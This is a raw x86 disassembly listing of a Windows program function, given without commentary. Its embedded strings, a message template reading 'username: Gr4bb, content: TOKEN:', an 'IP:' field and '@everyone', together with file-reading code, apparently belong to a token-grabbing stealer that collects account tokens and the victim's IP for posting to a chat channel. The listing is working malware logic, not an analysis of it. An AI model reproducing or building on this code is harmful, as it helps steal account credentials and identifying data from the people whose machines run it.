cmp edx, 0x10
jb 0x4046df
mov ecx, dword [ebp - 0x958]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4046d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov dword [ebp - 0x948], 0
mov dword [ebp - 0x944], 0xf
mov byte [ebp - 0x958], 0
mov byte [ebp - 4], 0x33
mov edx, dword [ebp - 0x978]
cmp edx, 0x10
jb 0x404738
mov ecx, dword [ebp - 0x98c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40472e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov dword [ebp - 0x97c], 0
mov dword [ebp - 0x978], 0xf
mov byte [ebp - 0x98c], 0
mov byte [ebp - 4], 0x34
mov edx, dword [ebp - 0x95c]
cmp edx, 0x10
jb 0x404791
mov ecx, dword [ebp - 0x970]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404787
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x960], 0
lea eax, [ebp - 0x840]
mov dword [ebp - 0x95c], 0xf
mov ecx, esp
mov byte [ebp - 0x970], 0
push eax
call fcn.00406330
call fcn.00405050
mov byte [ebp - 4], 0x2d
add esp, 0x18
mov edx, dword [ebp - 0x82c]
cmp edx, 0x10
jb 0x404803
mov ecx, dword [ebp - 0x840]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4047f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov byte [ebp - 4], 0x2c
mov edx, dword [ebp - 0x6ec]
cmp edx, 0x10
jb 0x404841
mov ecx, dword [ebp - 0x700]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404837
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov ecx, dword [ebp - 0x7ec]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x7f0]
inc edi
add dword [ebp - 0x93c], 0xc
sub ecx, esi
imul ecx
mov ecx, dword [ebp - 0x93c]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x404380
mov ecx, dword [ebp - 0x7b4]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x7b8]
xor edi, edi
sub ecx, esi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x404cbe
xor ecx, ecx
mov dword [ebp - 0x93c], ecx
cmp eax, edi
ja 0x4048af
lea esi, [ebp - 0x794]
jmp 0x4048b1
add esi, ecx
xor ecx, ecx
mov dword [ebp - 0x700], 0
mov edx, 0xf
mov dword [ebp - 0x6f0], ecx
mov byte [ebp - 0x700], cl
mov dword [ebp - 0x6ec], edx
cmp byte [esi + 8], cl
je 0x404903
mov eax, dword [esi]
mov esi, dword [esi + 4]
mov dword [ebp - 0x990], esi
cmp eax, esi
je 0x404903
sub esi, eax
lea ecx, [ebp - 0x700]
push esi
push eax
call fcn.004067e0
mov edx, dword [ebp - 0x6ec]
mov ecx, dword [ebp - 0x6f0]
mov eax, bind
mov byte [ebp - 4], 0x35
sub eax, ecx
cmp eax, 0x2d
jb 0x404fec
push ecx
cmp edx, 0x10
lea eax, [ebp - 0x700]
cmovae eax, dword [ebp - 0x700]
push eax
push 0x2d
push str._username_:__Gr4bb___content_:__TOKEN_:
push ecx
push dword [ebp - 0x990]
lea ecx, [ebp - 0x970]
call fcn.00407e40
mov byte [ebp - 4], 0x36
mov edx, dword [ebp - 0x95c]
mov eax, edx
mov ecx, dword [ebp - 0x960]
sub eax, ecx
push 0xb
push str._nIP_:
cmp eax, 0xb
jb 0x404992
cmp edx, 0x10
lea esi, [ebp - 0x970]
lea eax, [ecx + 0xb]
cmovae esi, dword [ebp - 0x970]
add esi, ecx
mov dword [ebp - 0x960], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xb], 0
lea eax, [ebp - 0x970]
jmp 0x4049ac
mov byte [ebp - 0x99c], 0
lea ecx, [ebp - 0x970]
push dword [ebp - 0x99c]
push 0xb
call fcn.004073e0
mov dword [ebp - 0x98c], 0
mov dword [ebp - 0x97c], 0
mov dword [ebp - 0x978], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x97c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x780]
mov byte [ebp - 4], 0x37
push eax
lea ecx, [ebp - 0x98c]
call fcn.00406200
mov dword [ebp - 0x958], 0
mov dword [ebp - 0x948], 0
mov dword [ebp - 0x944], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x958], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x948], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x38
mov edx, dword [ebp - 0x944]
mov eax, edx
mov ecx, dword [ebp - 0x948]
sub eax, ecx
push 0xc
push str.__everyone_
cmp eax, 0xc
jb 0x404a9e
cmp edx, 0x10
lea esi, [ebp - 0x958]
lea eax, [ecx + 0xc]
cmovae esi, dword [ebp - 0x958]
add esi, ecx
mov dword [ebp - 0x948], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xc], 0
lea eax, [ebp - 0x958]
jmp 0x404ab8
mov byte [ebp - 0x931], 0
lea ecx, [ebp - 0x958]
push dword [ebp - 0x931]
push 0xc
call fcn.004073e0
movups xmm0, xmmword [eax]
or dword [ebp - 0x940], 0x3f0
movups xmmword [ebp - 0x858], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x848], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x3a
mov edx, dword [ebp - 0x944]
cmp edx, 0x10
jb 0x404b28
mov ecx, dword [ebp - 0x958]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404b1e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov dword [ebp - 0x948], 0
mov dword [ebp - 0x944], 0xf
mov byte [ebp - 0x958], 0
mov byte [ebp - 4], 0x3b
mov edx, dword [ebp - 0x978]
cmp edx, 0x10
jb 0x404b81
mov ecx, dword [ebp - 0x98c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404b77
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov dword [ebp - 0x97c], 0
mov dword [ebp - 0x978], 0xf
mov byte [ebp - 0x98c], 0
mov byte [ebp - 4], 0x3c
mov edx, dword [ebp - 0x95c]
cmp edx, 0x10
jb 0x404bda
mov ecx, dword [ebp - 0x970]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404bd0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x960], 0
lea eax, [ebp - 0x858]
mov dword [ebp - 0x95c], 0xf
mov ecx, esp
mov byte [ebp - 0x970], 0
push eax
call fcn.00406330
call fcn.00405050
mov byte [ebp - 4], 0x35
add esp, 0x18
mov edx, dword [ebp - 0x844]
cmp edx, 0x10
jb 0x404c4c
mov ecx, dword [ebp - 0x858]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404c42
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov byte [ebp - 4], 0x2c
mov edx, dword [ebp - 0x6ec]
cmp edx, 0x10
jb 0x404c8a
mov ecx, dword [ebp - 0x700]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404c80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov ecx, dword [ebp - 0x7b4]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x7b8]
inc edi
add dword [ebp - 0x93c], 0xc
sub ecx, esi
imul ecx
mov ecx, dword [ebp - 0x93c]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x4048a3
mov byte [ebp - 4], 0x2a
mov edx, dword [ebp - 0x71c]
cmp edx, 0x10
jb 0x404cfc
mov ecx, dword [ebp - 0x730]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404cf2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov eax, dword [ebp - 0x928]
mov dword [ebp - 0x720], 0
mov dword [ebp - 0x71c], 0xf
mov byte [ebp - 0x730], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x928]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x92c], eax
lea ecx, [ebp - 0x918]
call fcn.00405b80
lea ecx, [ebp - 0x910]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x8b8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov byte [ebp - 4], 0x25
mov edx, dword [ebp - 0x754]
cmp edx, 8
jb 0x404da5
mov ecx, dword [ebp - 0x768]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404d9b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
lea ecx, [ebp - 0x750]
call fcn.004030a0
mov esi, dword [ebp - 0x750]
test esi, esi
jne 0x403e90
mov edi, dword [ebp - 0x74c]
test edi, edi
je 0x404de9
or eax, 0xffffffff
lock xadd dword [edi + 4], eax
jne 0x404de9
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
jne 0x404de9
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov esi, dword [ebp - 0x734]
test esi, esi
je 0x404e14
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x404e14
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x404e14
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov esi, dword [ebp - 0x974]
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x85c]
cmp edx, 0x10
jb 0x404e58
mov ecx, dword [ebp - 0x870]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404e4e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
inc esi
mov dword [ebp - 0x974], esi
cmp esi, 0x15
jl 0x403cd0
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x76c]
cmp edx, 0x10
jb 0x404ea6
mov ecx, dword [ebp - 0x780]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404e9c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
push 0x406280
push 0x16
push 0x18
lea eax, [ebp - 0x220]
mov dword [ebp - 0x770], 0
push eax
mov dword [ebp - 0x76c], 0xf
mov byte [ebp - 0x780], 0
mov byte [ebp - 4], 6
call fcn.0040e3a3
lea ecx, [ebp - 0x7b8]
call fcn.00405c40
lea ecx, [ebp - 0x7f0]
call fcn.00405c40
lea ecx, [ebp - 0x820]
call fcn.004065c0
mov ecx, dword [ebp - 0x810]
test ecx, ecx
je 0x404f1a
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404f1a
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
lea ecx, [ebp - 0x80c]
call fcn.004065c0
mov ecx, dword [ebp - 0x7fc]
test ecx, ecx
je 0x404f44
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404f44
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
push 0x406280
push 0x32
push 0x18
lea eax, [ebp - 0x6d0]
mov byte [ebp - 4], 1
push eax
call fcn.0040e3a3
mov edx, dword [ebp - 0x6d4]
cmp edx, 0x10
jb 0x404f93
mov ecx, dword [ebp - 0x6e8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404f89
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov edx, dword [ebp - 0x704]
cmp edx, 0x10
jb 0x404fcf
mov ecx, dword [ebp - 0x718]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404fc5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404fc5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0040e709
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040e365
mov esp, ebp
pop ebp
ret
call fcn.00401190
lea ecx, [ebp - 0x768]
mov edx, eax
push ecx
call fcn.00402cb0
int3